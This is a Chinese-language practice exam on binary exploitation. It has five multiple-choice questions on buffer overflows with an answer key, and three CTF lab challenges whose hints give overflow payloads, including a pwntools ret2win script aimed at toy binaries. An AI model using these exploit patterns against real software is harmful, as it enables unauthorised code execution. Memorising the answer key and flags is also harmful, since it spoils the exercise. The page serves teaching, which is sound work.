Day 5 模擬比賽試題 — 二進位安全 (Binary Exploitation)


一、選擇題(共 5 題,每題 10 分)

第 1 題 緩衝區溢位 (Buffer Overflow) 漏洞通常由什麼原因造成?

  • A) 程式使用了過期版本的編譯器
  • B) 程式未能正確檢查使用者輸入的長度,導致輸入資料覆蓋了相鄰的記憶體空間
  • C) 伺服器的網路頻寬不足
  • D) 程式的密碼過於簡單

第 2 題 CLI 環境中,快速生成 200 個字母 "A" 來測試程式是否崩潰,最有效率的指令?

  • A) echo "A" * 200
  • B) 手動輸入 200 次
  • C) python3 -c 'print("A" * 200)'
  • D) strings 200A

第 3 題 輸入長串字元後,終端機回傳哪種訊息,代表成功觸發緩衝區溢位?

  • A) Permission denied
  • B) Connection refused
  • C) Segmentation fault (core dumped)
  • D) Invalid password

第 4 題 GDB 分析崩潰的程式時,最關注哪個暫存器來確認是否控制了執行流程?

  • A) EAX / RAX(累加暫存器)
  • B) EIP / RIP(指令指標暫存器)
  • C) ECX / RCX(計數暫存器)
  • D) EDX / RDX(資料暫存器)

第 5 題 拿到 Binary Pwn 執行檔的「第一動作」應該是?

  • A) 立刻打開反編譯工具逐行閱讀組合語言
  • B) 找到程式輸入點,輸入超長字串觀察是否 Crash
  • C) 使用 Wireshark 攔截封包
  • D) 猜測密碼為 admin

二、CTF 實作題(共 3 題,每題 20 分)

Challenge 1:崩潰的邊界 (The Crash)

情境: login.bin 正常輸入密碼顯示 "Login failed"。 請用 Python 腳本生成大量字元,找出能讓程式 Segfault 的長度邊界,觸發隱藏 Flag。

提示:

python3 -c 'print("A" * 100)' | ./login.bin
python3 -c 'print("A" * 200)' | ./login.bin
# 二分法縮小邊界

Flag 格式: FLAG{smash_the_stack_101}


Challenge 2:變數的覆寫 (Variable Overwrite)

情境: C 語言原始碼顯示緩衝區旁有 is_admin = 0。 構造剛好溢出緩衝區的 payload,將 is_admin 覆寫為非零值,繞過驗證。

提示:

payload = b"A" * 32 + b"\x01"   # 32 = buffer size
import sys; sys.stdout.buffer.write(payload)

Flag 格式: FLAG{overwrite_adjacent_memory}


Challenge 3:控制執行流 (Ret2Win)

情境: target.exe 中有隱藏函數 print_flag() 位於 0x401186,永遠不會被正常呼叫。 計算 offset 後覆寫 Return Address,強制跳轉至該函數。

提示:

from pwn import *
p = process('./target.exe')
payload = b"A" * 40 + p64(0x401186)
p.sendline(payload)
p.interactive()

Flag 格式: FLAG{control_the_flow_win_the_game}


答案

題號答案
第 1 題B
第 2 題C
第 3 題C
第 4 題B
第 5 題B
Built with LogoFlowershow